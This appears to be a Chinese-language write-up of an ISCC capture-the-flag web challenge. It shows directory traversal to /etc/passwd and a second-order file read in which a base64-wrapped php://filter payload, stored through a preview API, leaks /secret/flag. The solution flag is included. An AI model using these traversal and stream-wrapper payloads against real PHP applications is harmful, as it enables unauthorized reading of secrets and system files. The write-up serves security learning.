题目是一个 “JSON 美化 + 预览” 小工具,首页提交数据到 /api/beautify.php,返回一个临时预览文件名。最先可以用最简单的输入验证功能:

{"data":"{\"a\":1}","preview_type":"raw"}

返回类似:

{
  "success": true,
  "preview_id": "preview_xxxxxxxx",
  "preview_file": "preview_xxxxxxxx.tmp"
}

然后访问:

/api/preview.php?file=preview_xxxxxxxx.tmp

可以读到刚才写入的内容,说明这里存在一个“读取临时预览文件”的接口。进一步访问 /robots.txt,里面明确提示了 /api/preview.php/api/beautify.php,说明关键逻辑就在这两个文件。

接下来要判断 preview.php 是“读取文件”还是“包含执行文件”。构造目录穿越去读诸如 ../../etc/passwd,会发现它只是把文件内容读出来,不会执行 PHP 代码,所以这题核心不是文件包含 RCE,而是文件读取逻辑的二次利用。根据响应头还能看到:

X-DocRoot: /path/to/src/

结合题目行为,可以继续想办法读源码,进而分析 /api/preview.php/api/beautify.php 的实现。

核心漏洞点在 preview.php 的逻辑。它先读取我们指定的临时预览文件内容,大致相当于:

$content = file_get_contents($real);

然后按行处理内容,取出形如 scheme://... 的 scheme:

$scheme = schemeOf($line);

它只过滤了少数危险协议,比如:

http, https, ftp, ftps, phar, expect

但没有过滤 php://。之后如果识别到这一行是一个“资源引用”,又会再次执行:

$data = @file_get_contents($line);

这就是漏洞关键:虽然我们最开始只能写一个普通文本预览文件,但 preview.php 会把这个文本内容再次当作路径/流包装器去读取,形成二次文件读取。

因此利用方式很直接:通过 /api/beautify.php 生成一个内容为下面这行的临时预览文件:

php://filter/read=convert.base64-encode/resource=/secret/flag

为了符合接口要求,可以用 data_uri 模式提交:

{
  "data": "data:text/plain;base64,cGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS9zZWNyZXQvZmxhZw==",
  "preview_type": "data_uri"
}

服务端返回一个新的 preview_file,例如:

{
  "success": true,
  "preview_id": "preview_3bd17163ca969ce6",
  "preview_file": "preview_3bd17163ca969ce6.tmp"
}

然后访问:

/api/preview.php?file=preview_3bd17163ca969ce6.tmp

返回内容为:

SVNDQ3tCVlptWkY2YnZteGhLVFk0Mm1LaH0K

这是 base64,解码即可得到 flag:

ISCC{BVZmZF6bvmxhKTY42mKh}

最终 flag

ISCC{BVZmZF6bvmxhKTY42mKh}